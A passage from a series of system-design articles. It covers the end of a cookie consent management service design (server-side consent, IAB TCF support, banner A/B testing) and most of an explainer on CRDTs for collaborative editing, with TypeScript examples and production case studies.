| RDS PostgreSQL  | PostgreSQL on EC2    | Custom extensions, cost at scale     |
| Lambda@Edge     | Cloudflare Workers   | Better cold start, different pricing |

## Variations

### Server-Side Consent (Path B)

For regulated industries requiring real-time consent accuracy:

```typescript collapse={1-12, 45-60}
// server-side-consent.ts
import { ConsentService } from './consent-service';

interface ServerRenderContext {
  request: Request;
  consent: ConsentStatus;
  allowedScripts: string[];
}

async function renderPageWithConsent(
  request: Request,
  pageComponent: Component
): Promise<Response> {
  // Extract device ID from cookie
  const deviceId = request.cookies.get('_consent_device_id');

  // Fetch consent server-side
  const consent = await consentService.getConsent(
    TENANT_ID,
    deviceId,
    request.headers.get('cf-ipcountry')
  );

  // Determine which scripts to include
  const allowedScripts = getScriptsForConsent(consent);

  // Render page with consent context
  const html = renderToString(
    <ConsentContext.Provider value={consent}>
      <Page
        component={pageComponent}
        scripts={allowedScripts}
      />
    </ConsentContext.Provider>
  );

  // Set consent cookie for client-side access
  const response = new Response(html);
  response.headers.set(
    'Set-Cookie',
    `_consent_status=${JSON.stringify(consent)}; Path=/; SameSite=Lax`
  );

  return response;
}

function getScriptsForConsent(consent: ConsentStatus): string[] {
  const scripts: string[] = ['essential.js'];

  if (consent.categories.analytics) {
    scripts.push('analytics.js');
  }
  if (consent.categories.marketing) {
    scripts.push('marketing.js');
  }

  return scripts;
}
```

### IAB TCF 2.2 Support

For publishers requiring TCF compliance:

```typescript collapse={1-15, 55-70}
// tcf-support.ts
interface TCFConsent {
  tcString: string // Base64-encoded TC string
  gdprApplies: boolean
  purposeConsents: Record<number, boolean>
  vendorConsents: Record<number, boolean>
  specialFeatureOptins: Record<number, boolean>
}

function generateTCString(consent: ConsentStatus): string {
  // TCF 2.2 requires specific format
  const tcData = {
    version: 2,
    created: consent.timestamp,
    lastUpdated: consent.timestamp,
    cmpId: 123, // Registered CMP ID
    cmpVersion: 1,
    consentScreen: 1,
    consentLanguage: "EN",
    vendorListVersion: 123,
    tcfPolicyVersion: 4,
    isServiceSpecific: false,
    useNonStandardStacks: false,
    purposeConsents: mapCategoryToTCFPurpose(consent.categories),
    vendorConsents: {}, // Populated from GVL
  }

  return encodeTCString(tcData)
}

function mapCategoryToTCFPurpose(categories: Record<string, boolean>): Record<number, boolean> {
  // TCF Purpose mapping
  return {
    1: categories.essential, // Store/access information
    2: categories.functional, // Select basic ads
    3: categories.marketing, // Create personalized ads profile
    4: categories.marketing, // Select personalized ads
    5: categories.marketing, // Create personalized content profile
    6: categories.functional, // Select personalized content
    7: categories.analytics, // Measure ad performance
    8: categories.analytics, // Measure content performance
    9: categories.analytics, // Apply market research
    10: categories.functional, // Develop and improve products
    11: categories.essential, // Use limited data to select content
  }
}

// Expose TC string via __tcfapi
function setupTCFAPI(tcfConsent: TCFConsent): void {
  window.__tcfapi = (command, version, callback, parameter) => {
    switch (command) {
      case "getTCData":
        callback({ tcData: tcfConsent, success: true })
        break
      case "addEventListener":
        // Register listener for consent changes
        consentListeners.push(callback)
        break
      case "removeEventListener":
        // Remove listener
        break
    }
  }
}
```

### Consent Rate A/B Testing

```typescript collapse={1-10, 40-55}
// ab-testing.ts
interface BannerVariant {
  id: string
  position: "top" | "bottom" | "center"
  layout: "minimal" | "detailed"
  showRejectAll: boolean
  primaryColor: string
}

async function getBannerVariant(tenantId: string, deviceId: string): Promise<BannerVariant> {
  // Check if device already assigned to variant
  const existingVariant = await redis.get(`ab:${tenantId}:${deviceId}`)
  if (existingVariant) return JSON.parse(existingVariant)

  // Get active experiment
  const experiment = await db.experiments.findActive(tenantId)
  if (!experiment) return DEFAULT_BANNER

  // Deterministic assignment based on device ID
  const hash = hashDeviceId(deviceId)
  const bucket = hash % 100

  const variant = experiment.variants.find((v) => bucket >= v.startBucket && bucket < v.endBucket)

  // Store assignment
  await redis.setex(`ab:${tenantId}:${deviceId}`, 86400 * 30, JSON.stringify(variant))

  return variant
}

// Track consent events for A/B analysis
async function trackConsentEvent(
  tenantId: string,
  deviceId: string,
  variantId: string,
  action: "accept_all" | "reject_all" | "customize" | "close",
): Promise<void> {
  await analytics.track({
    event: "consent_action",
    properties: {
      tenantId,
      variantId,
      action,
      timestamp: Date.now(),
    },
  })
}
```

**A/B test metrics:**

| Metric            | Description                        | Target |
| ----------------- | ---------------------------------- | ------ |
| Consent rate      | Users accepting any non-essential  | 60-80% |
| Full consent rate | Users accepting all categories     | 30-50% |
| Interaction rate  | Users engaging with banner         | 70-90% |
| Time to decision  | Seconds from banner show to action | <10s   |

## Conclusion

Cookie consent services must balance regulatory compliance, user experience, and technical performance:

1. **Edge-first architecture**: CDN-cached SDK and consent status enable sub-50ms consent checks. Origin servers handle only writes and cache misses.

2. **Multi-tenant isolation**: Tenant configuration cached at multiple layers. Each website has independent categories, regulations, and banner designs without infrastructure overhead.

3. **Anonymous-to-authenticated migration**: Device fingerprints track consent before login. On authentication, consent merges based on configurable strategies (most recent, most restrictive, or user choice).

4. **Regulatory flexibility**: Geo-detection applies GDPR, CCPA, or LGPD rules automatically. Tenant overrides handle edge cases and business requirements.

5. **Immutable audit trail**: Every consent change logged with full context. Partitioned tables and S3 archival support 7-year retention for regulatory audits.

**What this design optimizes for:**

- Read latency (sub-50ms consent checks)
- Regulatory compliance (audit trail, withdrawal support)
- Multi-tenant efficiency (shared infrastructure, isolated configuration)
- Anonymous user tracking (device fingerprint based)

**What it sacrifices:**

- Real-time consent accuracy (60s stale window acceptable)
- Write complexity (single primary region)
- Device fingerprint privacy (regulatory gray area)

**Known limitations:**

- Device fingerprint changes on browser update/reinstall
- Cross-device consent requires user authentication
- TCF 2.2 vendor list management adds operational complexity
- A/B testing may conflict with regulatory "don't manipulate consent" guidance

## Appendix

### Prerequisites

- Distributed systems fundamentals (caching, replication)
- Privacy regulations basics (GDPR, CCPA concepts)
- CDN and edge computing patterns
- Database sharding and read replicas

### Terminology

| Term               | Definition                                                                    |
| ------------------ | ----------------------------------------------------------------------------- |
| CMP                | Consent Management Platform - system for collecting and managing user consent |
| TCF                | Transparency & Consent Framework - IAB standard for consent communication     |
| TC String          | Transparency and Consent String - encoded consent record per TCF spec         |
| Device Fingerprint | Browser/device characteristics hashed to create persistent identifier         |
| GVL                | Global Vendor List - IAB-maintained list of advertising vendors               |
| DPO                | Data Protection Officer - organization's privacy compliance lead              |

### Summary

- **Edge-cached SDK** delivers consent checks in sub-50ms globally; writes route to single primary region
- **Multi-tenant architecture** isolates configuration per website while sharing infrastructure; tenant config cached at edge and Redis layers
- **Anonymous consent** tracked via device fingerprint before login; migrates to authenticated profile with configurable merge strategies
- **Regulation detection** uses MaxMind GeoIP to auto-apply GDPR, CCPA, or LGPD rules; tenant overrides support edge cases
- **Immutable audit log** records every consent change with full context; partitioned by month, archived to S3 after 1 year, retained 7 years
- **Read replicas per region** reduce global latency; eventual consistency (sub-60s) acceptable for consent use cases

### References

- [GDPR Article 6 - Lawfulness of Processing](https://gdpr.eu/article-6-how-to-process-personal-data-legally/) - Legal basis for consent
- [GDPR Article 7 - Conditions for Consent](https://gdpr.eu/article-7-how-to-get-consent-to-collect-personal-data/) - Consent requirements
- [IAB TCF 2.2 Specification](https://github.com/InteractiveAdvertisingBureau/GDPR-Transparency-and-Consent-Framework) - Technical specification
- [Google Consent Mode Documentation](https://developers.google.com/tag-platform/security/guides/consent) - Integration guide
- [CNIL Cookie Guidelines](https://www.cnil.fr/en/cookies-and-other-tracking-devices-cnil-publishes-new-guidelines) - French DPA recommendations
- [OneTrust Performance Architecture](https://www.onetrust.com/blog/global-cdn-asynchronous-loading/) - Industry reference
- [Cloudflare OneTrust Case Study](https://www.cloudflare.com/case-studies/onetrust/) - Scale benchmarks
- [ePrivacy Directive](https://eur-lex.europa.eu/legal-content/EN/ALL/?uri=CELEX%3A32002L0058) - EU cookie law
- [CCPA Text](https://oag.ca.gov/privacy/ccpa) - California privacy law

---

## CRDTs for Collaborative Systems

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/crdt-for-collaborative-systems
**Category:** System Design / Core Distributed Patterns
**Description:** Conflict-free Replicated Data Types (CRDTs) are data structures mathematically guaranteed to converge to the same state across distributed replicas without coordination. They solve the fundamental challenge of distributed collaboration: allowing concurrent updates while ensuring eventual consistency without locking or consensus protocols.This article covers CRDT fundamentals, implementation variants, production deployments, and when to choose CRDTs over Operational Transformation (OT).

# CRDTs for Collaborative Systems

Conflict-free Replicated Data Types (CRDTs) are data structures mathematically guaranteed to converge to the same state across distributed replicas without coordination. They solve the fundamental challenge of distributed collaboration: allowing concurrent updates while ensuring eventual consistency without locking or consensus protocols.

This article covers CRDT fundamentals, implementation variants, production deployments, and when to choose CRDTs over Operational Transformation (OT).

<figure>

![CRDTs guarantee convergence through mathematical properties of the merge function—order of operations, network duplicates, and timing are irrelevant.](./crdts-guarantee-convergence-through-mathematical-properties-of-the-merge-functio.svg)

<figcaption>CRDTs guarantee convergence through mathematical properties of the merge function—order of operations, network duplicates, and timing are irrelevant.</figcaption>
</figure>

## Abstract

CRDTs guarantee convergence through **join-semilattice** properties: merge operations must be commutative, associative, and idempotent. This makes them fundamentally different from consensus-based systems—no coordination overhead, no leader election, no blocking on network partitions.

**Core mental model:**

- **State-based (CvRDT)**: Send full state, merge via lattice join. Simple semantics, any delivery order works. Cost: state transfer size.
- **Operation-based (CmRDT)**: Send operations only. Small messages, but requires exactly-once causal delivery. Cost: delivery infrastructure.
- **Delta-state**: Hybrid—send incremental state changes. Best of both when implemented correctly.

**Key insight**: The choice between variants is a **delivery infrastructure vs. merge complexity** tradeoff. State-based pushes complexity into the merge function and tolerates unreliable networks. Operation-based pushes complexity into the delivery layer and achieves smaller messages.

**Production reality**: Most systems use hybrid approaches. Figma uses operation-based with server ordering. Yjs and Automerge use optimized delta-state. Riak uses state-based with delta optimization.

## The Problem

### Why Naive Solutions Fail

**Approach 1: Last-Writer-Wins with Wall Clocks**

```typescript
// Naive LWW - seems simple
function merge(a: { value: T; timestamp: number }, b: { value: T; timestamp: number }) {
  return a.timestamp > b.timestamp ? a : b
}
```

Fails because:

- **Clock skew**: Node A's clock is 5 seconds ahead. Its writes always win regardless of actual order.
- **Lost updates**: Two users edit simultaneously. One user's entire work disappears.
- **Non-deterministic**: Same updates processed in different order can produce different results across replicas.

**Approach 2: Locking/Pessimistic Concurrency**

Fails because:

- **Unavailable during partitions**: Can't acquire lock when network splits.
- **Latency penalty**: Every operation requires round-trip to lock server.
- **Deadlocks**: Distributed deadlock detection is complex and slow.

**Approach 3: Consensus on Every Write (Paxos/Raft)**

Fails because:

- **Unavailable during partitions**: Consensus requires majority quorum.
- **High latency**: Multiple round-trips per write (Paxos: 2 RTTs minimum).
- **Doesn't scale**: Every write touches every node. P2P scenarios impossible.

### The Core Challenge

The fundamental tension: **strong consistency requires coordination, coordination requires availability sacrifice** (CAP theorem).

CRDTs resolve this by **designing data structures where concurrent operations commute**. Instead of preventing conflicts, they make conflicts mathematically impossible to produce divergent states.

## CRDT Foundations

### Join-Semilattice Mathematics

CRDTs are built on **join-semilattices**—partially ordered sets where any two elements have a least upper bound (join/merge).

**Formal requirements for merge function ⊔:**

| Property    | Definition                | Why It Matters                           |
| ----------- | ------------------------- | ---------------------------------------- |
| Commutative | A ⊔ B = B ⊔ A             | Order of receiving updates is irrelevant |
| Associative | (A ⊔ B) ⊔ C = A ⊔ (B ⊔ C) | Grouping of merges is irrelevant         |
| Idempotent  | A ⊔ A = A                 | Duplicate messages are harmless          |

**Monotonicity constraint**: Updates must be **inflations**—they can only move "up" in the lattice ordering. You can never return to a previous state.

> "Any state-based object satisfying the monotonic semilattice property is strongly eventually consistent."
> — Shapiro et al., "A Comprehensive Study of Convergent and Commutative Replicated Data Types" (2011)

### Strong Eventual Consistency (SEC)

CRDTs provide **Strong Eventual Consistency**:

1. **Eventual delivery**: Every update eventually reaches every replica
2. **Convergence**: Replicas that have received the same updates are in identical states
3. **Termination**: All operations complete locally without blocking

This is stronger than eventual consistency (which only guarantees convergence "eventually") because SEC guarantees **immediate local completion** and **deterministic convergence**.

## Design Paths

### Path 1: State-Based CRDTs (CvRDT)

**How it works:**

1. Each replica maintains full local state
2. Periodically, replicas exchange their complete state
3. Receiving replica merges incoming state with local state using join operation
4. Merge function satisfies semilattice properties

**When to choose this path:**

- Network is unreliable (messages may be lost, duplicated, reordered)
- State size is bounded or compressible
- Merge function is computationally cheap
- Simpler implementation is preferred over message efficiency

**Key characteristics:**

- Any gossip protocol works—no ordering guarantees needed
- Duplicate messages are automatically handled (idempotence)
- Full state must be transmitted on every sync

**G-Counter example (state-based):**

```typescript collapse={1-2}
type NodeId = string

interface GCounter {
  counts: Map<NodeId, number> // Each node tracks its own increment count
}

function increment(counter: GCounter, nodeId: NodeId): GCounter {
  const newCounts = new Map(counter.counts)
  newCounts.set(nodeId, (counter.counts.get(nodeId) ?? 0) + 1)
  return { counts: newCounts }
}

function merge(a: GCounter, b: GCounter): GCounter {
  // Pairwise maximum - satisfies all semilattice properties
  const merged = new Map<NodeId, number>()
  const allNodes = new Set([...a.counts.keys(), ...b.counts.keys()])
  for (const nodeId of allNodes) {
    merged.set(nodeId, Math.max(a.counts.get(nodeId) ?? 0, b.counts.get(nodeId) ?? 0))
  }
  return { counts: merged }
}

function value(counter: GCounter): number {
  return [...counter.counts.values()].reduce((sum, n) => sum + n, 0)
}
```

**Trade-offs:**

| Advantage                                     | Disadvantage                                     |
| --------------------------------------------- | ------------------------------------------------ |
| Simple delivery—any order, duplicates OK      | State transfer can be expensive                  |
| Easy to reason about—state is self-describing | State can grow unbounded (actor IDs, tombstones) |
| Works over unreliable networks                | Merge computation on every sync                  |

**Real-world: Riak** uses state-based CRDTs with delta optimization. They maintain full state but only transmit deltas when possible.

### Path 2: Operation-Based CRDTs (CmRDT)

**How it works:**

1. Each replica maintains local state
2. Operations are applied locally and broadcast to other replicas
3. Receiving replicas apply operations to their local state
4. Operations must commute when applied concurrently

**When to choose this path:**

- Reliable, exactly-once, causally-ordered delivery available
- Operations are small relative to state size
- Low-latency propagation is critical
- Can invest in delivery infrastructure

**Key characteristics:**

- Small message size (just the operation)
- Requires reliable causal broadcast—significant infrastructure investment
- Must handle late joiners (replay history or checkpoint + recent ops)

**G-Counter example (operation-based):**

```typescript
type Operation = { type: "increment"; nodeId: string; amount: number }

function apply(counter: number, op: Operation): number {
  // Operations must be delivered exactly once, in causal order
  return counter + op.amount
}

// The delivery layer must guarantee:
// 1. No duplicates
// 2. No lost messages
// 3. Causal ordering (if A caused B, A delivered before B)
```

**Trade-offs:**

| Advantage                        | Disadvantage                             |
| -------------------------------- | ---------------------------------------- |
| Small messages (operations only) | Requires reliable causal delivery layer  |
| Immediate propagation possible   | Must track history for late joiners      |
| Lower bandwidth                  | More complex reasoning about concurrency |

**Real-world: Figma** uses operation-based approach with their own delivery layer. Server provides ordering and validation. They invested heavily in transport infrastructure to achieve low-latency sync.

### Path 3: Delta-State CRDTs

**How it works:**

1. Track changes since last sync as "deltas"
2. Send only the delta (incremental state change), not full state
3. Deltas are themselves CRDTs—can be merged like states
4. Falls back to full state sync when deltas unavailable

**When to choose this path:**

- Want small messages like op-based but unreliable network like state-based
- State is large but changes are typically small
- Can track sync points between replicas

**Key insight from research:**

> "Delta-state CRDTs combine the distributed nature of operation-based CRDTs with the uniquely simple model of state-based CRDTs."
> — Almeida et al., "Delta State Replicated Data Types" (2018)

**Trade-offs:**

| Advantage                           | Disadvantage                   |
| ----------------------------------- | ------------------------------ |
| Small messages in common case       | Must track sync state per peer |
| Works over unreliable networks      | Delta storage overhead         |
| Falls back gracefully to full state | More complex implementation    |

**Real-world: Yjs and Automerge** both use delta-state approaches with sophisticated compression.

### Comparison Matrix

| Factor                      | State-Based        | Operation-Based      | Delta-State          |
| --------------------------- | ------------------ | -------------------- | -------------------- |
| Message size                | Full state         | Single operation     | Incremental delta    |
| Delivery requirement        | Any (gossip OK)    | Exactly-once, causal | Any                  |
| Late joiner handling        | Send current state | Replay history       | Send deltas or state |
| Implementation complexity   | In merge function  | In delivery layer    | In delta tracking    |
| Network partition tolerance | Excellent          | Poor                 | Excellent            |
| Typical latency             | Higher (batched)   | Lower (immediate)    | Medium               |

### Decision Framework

![Diagram](./diagram-1.svg)

## Common CRDT Data Structures

### Counters

**G-Counter (Grow-Only):** Covered above. Foundation for other counters.

**PN-Counter (Positive-Negative):** Two G-Counters—one for increments, one for decrements.

```typescript collapse={1-8}
interface PNCounter {
  P: GCounter // Positive increments
  N: GCounter // Negative increments (decrements)
}

function increment(counter: PNCounter, nodeId: string): PNCounter {
  return { ...counter, P: GCounter.increment(counter.P, nodeId) }
}

function decrement(counter: PNCounter, nodeId: string): PNCounter {
  return { ...counter, N: GCounter.increment(counter.N, nodeId) }
}

function value(counter: PNCounter): number {
  return GCounter.value(counter.P) - GCounter.value(counter.N)
}

function merge(a: PNCounter, b: PNCounter): PNCounter {
  return {
    P: GCounter.merge(a.P, b.P),
    N: GCounter.merge(a.N, b.N),
  }
}
```

### Registers

**LWW-Register (Last-Writer-Wins):** Associates timestamp with each update. Highest timestamp wins.

```typescript
interface LWWRegister<T> {
  value: T
  timestamp: number // Lamport timestamp, NOT wall clock
  nodeId: string // Tie-breaker for equal timestamps
}

function merge<T>(a: LWWRegister<T>, b: LWWRegister<T>): LWWRegister<T> {
  if (a.timestamp > b.timestamp) return a
  if (b.timestamp > a.timestamp) return b
  // Equal timestamps: deterministic tie-breaker
  return a.nodeId > b.nodeId ? a : b
}
```

**Critical**: Use Lamport timestamps, not wall clocks. Wall clock skew causes non-deterministic behavior.

**MV-Register (Multi-Value):** Preserves all concurrent values instead of picking winner.

```typescript collapse={1-4}
interface MVRegister<T> {
  values: Map<VectorClock, T> // All concurrent values
}

function write<T>(reg: MVRegister<T>, value: T, clock: VectorClock): MVRegister<T> {
  // Remove all values that this write supersedes
  const newValues = new Map<VectorClock, T>()
  for (const [vc, v] of reg.values) {
    if (!clock.dominates(vc)) {
      newValues.set(vc, v) // Keep concurrent values
    }
  }
  newValues.set(clock, value)
  return { values: newValues }
}

function read<T>(reg: MVRegister<T>): T[] {
  return [...reg.values.values()] // May return multiple values
}
```

**Design decision**: MV-Register pushes conflict resolution to the application. Use when automatic resolution (LWW) loses important data.

### Sets

**G-Set (Grow-Only):** Elements can only be added, never removed.

**2P-Set (Two-Phase):** Add-set and remove-set. Element present if in add-set but not remove-set.

- **Limitation**: Once removed, element can never be re-added.

**OR-Set (Observed-Remove):** Most practical set CRDT. Each element tagged with unique ID. Remove only affects observed tags.

```typescript collapse={1-6}
type Tag = string // Globally unique (e.g., UUID or nodeId + sequence)

interface ORSet<T> {
  elements: Map<T, Set<Tag>> // Element -> set of tags
}

function add<T>(set: ORSet<T>, element: T, tag: Tag): ORSet<T> {
  const tags = new Set(set.elements.get(element) ?? [])
  tags.add(tag)
  const newElements = new Map(set.elements)
  newElements.set(element, tags)
  return { elements: newElements }
}

function remove<T>(set: ORSet<T>, element: T): ORSet<T> {
  // Remove only tags we've "observed" - concurrent adds survive
  const newElements = new Map(set.elements)
  newElements.delete(element)
  return { elements: newElements }
}

function merge<T>(a: ORSet<T>, b: ORSet<T>): ORSet<T> {
  const merged = new Map<T, Set<Tag>>()
  const allElements = new Set([...a.elements.keys(), ...b.elements.keys()])
  for (const element of allElements) {
    const tagsA = a.elements.get(element) ?? new Set()
    const tagsB = b.elements.get(element) ?? new Set()
    const unionTags = new Set([...tagsA, ...tagsB])
    if (unionTags.size > 0) {
      merged.set(element, unionTags)
    }
  }
  return { elements: merged }
}

function has<T>(set: ORSet<T>, element: T): boolean {
  return (set.elements.get(element)?.size ?? 0) > 0
}
```

**Add-wins semantics**: Concurrent add and remove → element present. This matches user intuition in most applications.

## Sequence CRDTs for Text Editing

Sequence CRDTs enable collaborative text editing. Each character gets a unique, ordered identifier that persists across all replicas.

### The Interleaving Problem

**The challenge**: Users A and B both type at position 5. A types "foo", B types "bar". Naive merge produces "fboaor" instead of "foobar" or "barfoo".

```
Initial:  "Hello|World"  (both cursors at position 5)
User A:   "Hello|foo|World"
User B:   "Hello|bar|World"
Naive:    "Hellofboaor World"  ← Characters interleaved!
Correct:  "HellofoobarWorld" or "HellobarfooWorld"
```

### Major Algorithms

| Algorithm   | Approach                      | Interleaving   | ID Growth | Notes                           |
| ----------- | ----------------------------- | -------------- | --------- | ------------------------------- |
| RGA         | Linked list + timestamps      | Can interleave | Linear    | Good general performance        |
| Logoot/LSEQ | Fractional positions          | Can interleave | Unbounded | Simple but IDs grow             |
| Fugue       | Designed for non-interleaving | Minimal        | Bounded   | Proven maximal non-interleaving |
| Eg-walker   | Event graph replay            | Minimal        | Bounded   | State-of-the-art performance    |

**Fugue algorithm** (2023): Specifically designed to satisfy "maximal non-interleaving"—concurrent inserts at the same position are never interleaved.

> "We prove that Fugue satisfies a maximally strong non-interleaving property."
> — Gentle et al., "The Art of the Fugue" (2023)

### Rich Text: Peritext

**Peritext** handles inline formatting (bold, italic, links) in CRDTs.

**Key insight**: Formatting spans are linked to stable character identifiers, not positions. Formatting marks accumulate—remove marks don't delete add marks, they add counter-marks.

**Design decisions:**

- **Expand on edges**: When typing at the end of bold text, new characters inherit bold formatting
- **Anchor to characters**: Formatting boundaries attached to character IDs, not positions
- **Never delete marks**: Add "remove bold" marks rather than deleting "add bold" marks

## Production Implementations

### Figma: Server-Ordered Operations

**Context**: Real-time collaborative design tool. Millions of concurrent users editing complex documents.

**Implementation choices:**

- **Pattern variant**: Operation-based with server ordering
- **Architecture**: WebSocket to multiplayer servers; server is authoritative
- **Conflict resolution**: LWW per-property-per-object. Two users changing different properties don't conflict.
- **Persistence**: State in-memory, checkpointed to S3 every 30-60 seconds. Transaction log in DynamoDB.

![Diagram](./diagram-2.svg)

**What worked:**

- Simplified conflict resolution by making server authoritative for ordering
- LWW per-property avoids complex merge logic for most operations

**What was hard:**

- Text editing required more sophisticated merging—adopted **Eg-walker** algorithm for code layers (2024)
- Handling network partitions while maintaining responsiveness

**Source**: [Figma Engineering Blog - How Figma's Multiplayer Technology Works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/)

### Yjs: Delta-State with Optimization

**Context**: Most popular CRDT library. 900k+ weekly npm downloads. Powers many collaborative editors.

**Implementation choices:**

- **Pattern variant**: Delta-state with sophisticated encoding
- **Architecture**: Network-agnostic. Works P2P, client-server, or hybrid.
- **Data model**: Shared types (Y.Map, Y.Array, Y.Text) that mirror JavaScript types

**Internal architecture:**

![Diagram](./diagram-3.svg)

**Key optimizations:**

- **Block merging**: Consecutive operations from same client merged into single block
- **Efficient encoding**: V2 encoding influenced by Automerge research—run-length encoding for sequences
- **Deleted content removal**: Can delete content from deleted structs (tombstones kept, content discarded)

**What worked:**

- Network-agnostic design enables diverse deployment scenarios
- Provider architecture separates sync logic from data logic

**What was hard:**

- Garbage collection—tombstones accumulate over time
- Large documents can have significant memory overhead

**Source**: [Yjs Documentation](https://docs.yjs.dev/), [Yrs Architecture Deep Dive](https://www.bartoszsypytkowski.com/yrs-architecture/)

### Automerge: Local-First Philosophy

**Context**: Designed for local-first software where user's device is primary. "PostgreSQL for your local-first app."

**Implementation choices:**

- **Pattern variant**: State-based with optimized sync
- **Architecture**: Rust core, bindings for JS/WASM, C, Swift
- **Philosophy**: Automatic merging—no git-style merge conflicts exposed to users

**Key differentiators:**

- **Rigorous proofs**: Convergence verified with Isabelle theorem prover
- **Compact storage**: Sophisticated compression format
- **Deterministic conflict resolution**: Lamport timestamps + actor IDs ensure same result everywhere

**What worked:**

- Clean API hides CRDT complexity from application developers
- Excellent offline support out of the box

**What was hard:**

- Performance at scale—led to complete Rust rewrite
- Sync protocol complexity

**Source**: [Automerge Documentation](https://automerge.org/), [Local-First Software](https://www.inkandswitch.com/local-first/)

### Riak: Database-Level CRDTs

**Context**: Distributed key-value database. First production database to adopt CRDTs (2012).

**Implementation choices:**

- **Pattern variant**: State-based with delta optimization
- **Types supported**: Counters, Sets, Maps, HyperLogLogs (bucket-level); Flags, Registers (embedded)
- **Consistency**: Vector clocks for causality, optional causal consistency mode

**Production scale (League of Legends):**

- 7.5 million concurrent users
- 11,000 messages per second
- In-game chat powered by Riak CRDTs

**Challenges encountered:**

- Sets perform poorly for writes as cardinality grows
- Sets >500KB have issues—addressed with delta-replication and decomposition
- Recommended: decompose large sets into multiple entries

**Source**: [Riak Data Types Documentation](https://docs.riak.com/riak/kv/2.2.3/learn/concepts/crdts/index.html)

### Implementation Comparison

| Aspect          | Figma             | Yjs              | Automerge        | Riak             |
| --------------- | ----------------- | ---------------- | ---------------- | ---------------- |
| Variant         | Op-based (server) | Delta-state      | State-based      | State + delta    |
| Architecture    | Centralized       | Any              | P2P/local-first  | Distributed DB   |
| Offline support | Limited           | Excellent        | Excellent        | N/A (server)     |
| Rich text       | Eg-walker         | Native           | Peritext         | N/A              |
| Maturity        | Production        | Production       | Production       | Production       |
| Best for        | Real-time SaaS    | Editor libraries | Local-first apps | Key-value stores |

## Operational Concerns

### Garbage Collection

**The tombstone problem**: Deleted elements leave markers (tombstones) that must persist until all replicas have seen them. These accumulate over time.

**Why tombstones exist**: If replica A has tombstone for X, and replica B still has X, A must keep tombstone so X gets deleted when B syncs. Otherwise, X "resurrects."

**Strategies:**

| Strategy        | Mechanism                                                     | Trade-off                             |
| --------------- | ------------------------------------------------------------- | ------------------------------------- |
| Epoch-based     | Split into live/compacted portions at version vector boundary | Requires version vector tracking      |
| Stability-based | Remove when update known to all replicas                      | Requires global knowledge             |
| Time-based      | Remove after `gc_grace_seconds` (Cassandra)                   | May resurrect if replica rejoins late |
| Consensus-based | Paxos/2PC to agree on removal                                 | Defeats purpose of coordination-free  |

**Production approach (Cassandra)**: `gc_grace_seconds` defaults to 10 days. Tombstones older than this are removed during compaction. Set based on expected node recovery time.

### Causality Tracking

**Lamport timestamps**: Simple logical clock. Provides partial ordering but cannot distinguish concurrent events.

```typescript
// Lamport timestamp: increment on every event, max+1 on receive
let clock = 0

function localEvent(): number {
  return ++clock
}

function receiveEvent(remoteTimestamp: number): number {
  clock = Math.max(clock, remoteTimestamp) + 1
  return clock
}
```

**Vector clocks**: Full causality tracking. Can determine happened-before, happened-after, or concurrent.

```typescript collapse={1-4}
type VectorClock = Map<NodeId, number>

function increment(vc: VectorClock, nodeId: NodeId): VectorClock {
  const newVc = new Map(vc)
  newVc.set(nodeId, (vc.get(nodeId) ?? 0) + 1)
  return newVc
}

function merge(a: VectorClock, b: VectorClock): VectorClock {
  const merged = new Map<NodeId, number>()
  const allNodes = new Set([...a.keys(), ...b.keys()])
  for (const nodeId of allNodes) {
    merged.set(nodeId, Math.max(a.get(nodeId) ?? 0, b.get(nodeId) ?? 0))
  }
  return merged
}

function happenedBefore(a: VectorClock, b: VectorClock): boolean {
  // a < b iff all entries in a <= corresponding entry in b, and at least one <
  let hasLess = false
  for (const [nodeId, aTime] of a) {
    const bTime = b.get(nodeId) ?? 0
    if (aTime > bTime) return false
    if (aTime < bTime) hasLess = true
  }
  for (const [nodeId, bTime] of b) {
    if (!a.has(nodeId) && bTime > 0) hasLess = true
  }
  return hasLess
}

function concurrent(a: VectorClock, b: VectorClock): boolean {
  return !happenedBefore(a, b) && !happenedBefore(b, a)
}
```

**Cost**: O(N) space per operation where N is number of nodes. For large systems, consider hybrid logical clocks or bounded vector clocks.

### Handling Late Joiners

**Challenge**: New replica needs full state. For large documents with long histories, this is expensive.

**Strategies:**

1. **Full state transfer**: Simple but costly. Works for state-based CRDTs.
2. **Checkpoint + recent ops**: Periodically snapshot state; new nodes get snapshot + ops since.
3. **Delta sync**: Track version vectors; send deltas since last known state.

**Eg-walker approach**: Store event graph on disk, document state as plain text. New joiners get current text + subset of event graph needed for future merges.

## CRDT vs Operational Transformation

### Historical Context

- **OT**: Invented late 1980s. Powers Google Docs. Requires central server for transformation.
- **CRDT**: First proposed 2006 (WOOT). Designed for decentralized/offline systems.

### Fundamental Difference

**OT**: Transform operations against each other to preserve intent.

```
User A: insert("X", 5)  → transform against B's op → insert("X", 6)
User B: insert("Y", 3)  → transform against A's op → insert("Y", 3)
```

**CRDT**: Design operations that commute naturally.

```
User A: insert("X", id_a)  → apply directly
User B: insert("Y", id_b)  → apply directly
Result: determined by ID ordering, not transformation
```

### Comparison

| Aspect                    | OT                                           | CRDT                         |
| ------------------------- | -------------------------------------------- | ---------------------------- |
| Architecture              | Requires central server                      | Works P2P or centralized     |
| Offline support           | Poor (needs server)                          | Excellent                    |
| Intent preservation       | Better (transforms designed for it)          | Varies by algorithm          |
| Implementation complexity | High (transform functions error-prone)       | Moderate                     |
| Proven correctness        | Difficult (many flawed algorithms published) | Mathematical proofs possible |

### When to Choose Each

**Choose OT when:**

- Always-online application with reliable connectivity
- Centralized architecture already exists
- Intent preservation is critical (e.g., cursor positions in concurrent edits)
- Using existing OT infrastructure (Google Docs API, ShareDB)

**Choose CRDT when:**

- Offline-first is required
- P2P or decentralized architecture
- Multi-device sync with unreliable networks
- Edge computing scenarios
- Want mathematical guarantees of convergence

### The Convergence: Eg-walker

Recent research (Eg-walker, 2024) combines benefits of both:

> "Eg-walker achieves order of magnitude less memory than existing CRDTs, orders of magnitude faster document loading, and orders of magnitude faster branch merging than OT—all while working P2P without a central server."
> — Gentle & Kleppmann, "Collaborative Text Editing with Eg-walker" (EuroSys 2025)

**Key insight**: Store the event graph (DAG of edits) on disk. Keep document state as plain text in memory. Build CRDT structure temporarily during merge, then discard.

## Common Pitfalls

### 1. Unbounded State Growth

**The mistake**: Not planning for tombstone/history cleanup.

**Example**: Notion-like app storing all operations. After 1 year, loading a page requires replaying 100K operations taking 30+ seconds.

**Solutions:**

- Periodic state snapshots with operation truncation
